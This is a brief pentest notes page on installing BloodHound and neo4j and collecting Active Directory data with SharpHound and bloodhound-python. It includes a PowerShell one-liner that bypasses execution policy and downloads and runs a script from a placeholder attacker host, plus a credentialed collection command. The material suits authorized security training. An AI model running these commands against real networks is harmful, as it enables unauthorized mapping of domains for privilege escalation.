BloodHound & SharpHound

Introduction

BloodHound is a graphic interface tool that allows you to map the AD environment visually. An attacker can use BloodHound to quickly identify highly complex attack paths that would otherwise be impossible.

However, prior to any data visualisation, it is required to use SharpHound, the official data collector for BloodHound, to detect what domain your current user belongs to, find a domain controller for that domain and gather data like:

  • Security group memberships

  • Domain trusts

  • Abusable rights on Active Directory objects

  • Group Policy links

  • OU tree structure

  • Several properties from computer, group and user objects

  • SQL admin links

Installation & Configuration

In order to install BloodHound on your Kali machine execute the following steps.

1. Install bloodhound & neo4j

sudo apt install bloodhound neo4j -y

2. Configure neo4j database: Execute sudo neo4j console, access to http://localhost:7474/ with neo4j default credentials "neo4j:neo4j" and change the default password.

3. Execute sudo bloodhound and log in with the new set of credentials.

Data gathering

There are two ways to obtain the required data to populate BloodHound.

Local

Download and execute SharpHound. Then, transfer the *_loop.zip files into your machine.

powershell -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/SharpHound.ps1'); Invoke-Bloodhound -CollectionMethod All [-Domain <DOMAIN>] [-OutputDirectory <OUTPUT_DIR>] -ZipFileName loot.zip "

Remote

pip3 install bloodhound
bloodhound-python -u '<USER>@<DOMAIN>' -p '<PASSWORD>' -ns <NAMESERVER_IP> -d <DOMAIN> -c All

Finally, drag and drop the generated files into the BloodHound interface for ingestion, playing with the default queries.

Last updated